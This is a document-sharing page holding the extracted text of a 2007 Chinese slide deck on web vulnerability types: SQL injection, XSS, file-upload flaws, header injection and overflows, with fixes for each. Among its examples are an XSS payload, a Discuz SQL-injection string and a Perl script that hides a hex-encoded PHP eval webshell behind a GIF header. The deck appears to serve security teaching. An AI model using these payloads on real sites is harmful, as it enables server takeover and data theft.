漏洞类型与分析.ppt

上传人:牧羊曲112 文档编号:5059511 上传时间:2023-06-01 格式:PPT 页数:40 大小:247KB
返回 下载 相关 举报
漏洞类型与分析.ppt_第1页
第1页 / 共40页
漏洞类型与分析.ppt_第2页
第2页 / 共40页
漏洞类型与分析.ppt_第3页
第3页 / 共40页
漏洞类型与分析.ppt_第4页
第4页 / 共40页
漏洞类型与分析.ppt_第5页
第5页 / 共40页
点击查看更多>>
资源描述

《漏洞类型与分析.ppt》由会员分享,可在线阅读,更多相关《漏洞类型与分析.ppt(40页珍藏版)》请在三一办公上搜索。

1、常见漏洞类型与分析,信息安全部吴翰清2007-06-5,提纲,概述头号大敌:SQL Injection被忽视的巨大威胁:跨站脚本漏洞文件上传,一击必杀权限问题盲区:来自HTTP头的安全隐患与Web Server结合产生的漏洞什么样的漏洞,才叫漏洞?十年的来的顽症-缓冲区溢出攻与防-操作系统针对缓冲区溢出的保护漏洞挖掘方法简介,概述,Web安全是互联网安全的重中之重Web安全的特点与实现的语言有密切的关系(ASP/PHP/JSP)与数据库有紧密联系,头号大敌:SQL Injection,定义:由于程序中对用户输入检查不严格,用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数

2、据,这就是所谓的SQL Injection,即SQL注入。SQL Injection的本质:对于输入检查不充分,导致SQL语句将用户提交的非法数据当作语句的一部分来执行。,示例:,String user=request.getParameter(username);String pass=request.getParameter(password);String query=SELECT id FROM users WHERE username=+user+AND password=+pass;Statement stmt=con.createStatement(query);ResultSe

3、t rs=con.executeQuery(query);if(rs.next()/登录成功int id=rs.getInt(1);.else/登录失败.,正确的编程方法:,String user=request.getParameter(username);String pass=request.getParameter(password);String query=SELECT id FROM users WHERE username=?AND password=?;PreparedStatement stmt=con.prepareStatement(query);stmt.setStr

4、ing(1,user);stmt.setString(2,pass);ResultSet rs=stmt.executeQuery();,被忽视的巨大威胁:跨站脚本漏洞,XSS(Cross Site Script)XST(HTML Hijacking),浏览器客户端的攻击,常常与XSS相结合,国际站XST窃取任意用户密码,在发布产品页面构造恶意html语句,发布后,如果某个用户查看了此产品,则会自动修改该用户的注册邮箱,或者其他member信息!,Image Upload XSS,an example of something you might test for:So you upload

5、this file:http:/ha.ckers.org/image-xss/onerror=alert(XSS)a=.jpgThis ends up making the page look like:,解决方案,输出时使用htmlencode 转义字符,使得成为纯文本输出输入处做filter,过滤可执行的html代码,文件上传,一击必杀,文件上传漏洞:对可上传的文件类型控制不严格,导致可以上传可执行的脚本,从而导致服务器被控制。,FCKEditor文件上传漏洞,FCKEditor是一款有多个语言版本的(asp,cgi,aspx,php,cfm,.)的在线编辑的class,很多web系统都使

6、用了这个class(包括taobao、中文站等许多地方)。,editorfilemanagerbrowserdefaultconnectorsphpconfig.php行35-36:$ConfigAllowedExtensionsFile=array();/允许的上穿类型$ConfigDeniedExtensionsFile=array(php,php3,php5,phtml,asp,aspx,ascx,jsp,cfm,cfc,pl,bat,exe,dll,reg,cgi);/禁止上传的类型,editorfilemanagerbrowserdefaultconnectorsphpcommand

7、s.phpfunction FileUpload($resourceType,$currentFolder).$sExtension=substr($sFileName,(strrpos($sFileName,.)+1);$sExtension=strtolower($sExtension);/得到文件的后缀(以.为标志取最后1个)global$Config;$arAllowed=$ConfigAllowedExtensions$resourceType;$arDenied=$ConfigDeniedExtensions$resourceType;if(count($arAllowed)=0|

8、in_array($sExtension,$arAllowed)/上传 注意它保存的文件直接用的$sFilePath=$sServerDir.$sFileName,而没有使用$sExtension为后缀/导致在win下在上传文件后面加个.来突破未测试3.,BlackList or WhiteList?,如果我们把AllowedExtensions/DeniedExtensions的设置反一下:$ConfigAllowedExtensionsFile=array(rar,zip);/允许的上穿类型$ConfigDeniedExtensionsFile=array();/禁止上传的类型把设置Den

9、iedExtensions改为设置AllowedExtensions,就不会出现上面的漏洞了,不过这样在某些情况下,照样可以突破,问题还是出在这里:move_uploaded_file($oFiletmp_name,$sFilePath);/上传 注意它保存的文件直接用的$sFilePath=$sServerDir.$sFileName,而没有使用$sExtension为后缀在apache下,因为apache文件名解析缺陷漏洞3而出现漏洞,文件上传漏洞,Getimagesize()bypass,先看看gif文件头:00000000h:474946383961AB02E503B300000080

10、00;GIF89a?.GIF89a$size0$size1$size0 x$size1=AB02683xE503997,构造如下perl#!/usr/bin/perl#TheScriptcouldpassgetimagesize()#gifsize:99x98pixels$gifhead=x47x49x46x38x39x61.#GIF89ax63x00.#99x62x00;#98$phpcode=x3cx3fx70 x68x70 x20 x40 x65x76x61x6cx28x24x5fx50 x4fx53x54x5bx63x5dx29x3fx3e;#print$gifhead.$phpcod

11、e;,文件上传漏洞的解决办法,使用正确的函数白名单与黑名单禁止上传目录有执行脚本的权限不要在url中显示上传文件的相对路径,权限问题,Auth-Bypass越权访问,Elearning系统不经授权充值问题,其中 userid;password;ROLE;ORGID;SITEID;的新值为无效构造值。,正确的做法,检查每个操作是否进行授权,授权给谁,盲区:来自HTTP头的安全隐患,HTTP头的注射(Cookie等),Discuz 4.x/5.0.0.1 Sql Injection,$http_query=or ascii(substring(.$sql.),.$s_num.,1).$ccheck

12、./*;.X-Forwarded-For=$http_query,正确的做法,不要信任来自http头中的取的字段,与Web Server结合产生的漏洞,Apache文件名解析漏洞IIS PUT上传漏洞,暴力破解,验证码也可以被暴力破解,暴力破解帐户锁定,对暴力破解尝试进行帐户锁定风险:可能会造成恶意尝试锁定帐户,Apache 文件名解析漏洞,Apache只会解析第一个“.”,IIS PUT上传漏洞,PUT/alert.txt HTTP/1.1Host:Content-Length:69HTTP/1.1 100 ContinueThere are some secure problems in

13、you system,please fix it.ZwelLHTTP/1.1 200 OK,什么样的漏洞,才叫漏洞?,Web迅雷activex远程执行漏洞WEB讯雷组件的名称:,可以采用JS代码ActiveXObject(ThunderServer.webThunder.1);来激活讯雷的组件。其中的关键函数包括:SetBrowserWindowData:新建浏览器窗口。SetConfig:设置WEB讯雷。HideBrowserWindow:隐藏浏览器。AddTask:添加下载任务。SearchTask:搜索任务,得到任务ID,文件下载状态等详情。OpenFile:根据任务ID,打开文件。,十

14、年的来的顽症-缓冲区溢出,栈溢出(控制返回地址 ebp+4)堆溢出(覆盖堆结构,2次free,覆盖堆中的指针)整数溢出(由于整数的解析欺骗造成的基于堆栈的溢出),整数溢出,bool CBlackListMessage:MatchMessage(LPCTSTR szMsg,int nLen,CString/*3*/,在这里当 nLen由外界传入,这里是取的消息的文字长度,是可信的,这里姑且不讨论是否可以利用,先来看这个编程的问题。nLen是一个int型,当nLen的值为0 x80000000 时,进行比较,将被解析为一个负数,从而可以绕过1处的判断,使得pCharBuf只分配了513个字节大小的内存。而在之后的拷贝lstrcpyn中,会将szMsg拷贝 0 x80000000+1个字符到pCharBuf中,此时的pCharBuf为只有513个字节大小的内存空间,从而会导致一个堆溢出。,攻与防-操作系统针对缓冲区溢出的保护,核心思想-不可执行堆栈Linux下的保护:Execshield,Gresecurity内核补丁Windows下的保护:DEP,VC7的/GS保护(防止基于堆栈的溢出),/SafeSEH保护,漏洞挖掘方法简介,代码审核Fuzzer动态调试(gdb,windbg,ollydbg等)静态分析(Ida Pro)2进制比较(补丁比较),

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 生活休闲 > 在线阅读


备案号:宁ICP备20000045号-2

经营许可证:宁B2-20210002

宁公网安备 64010402000987号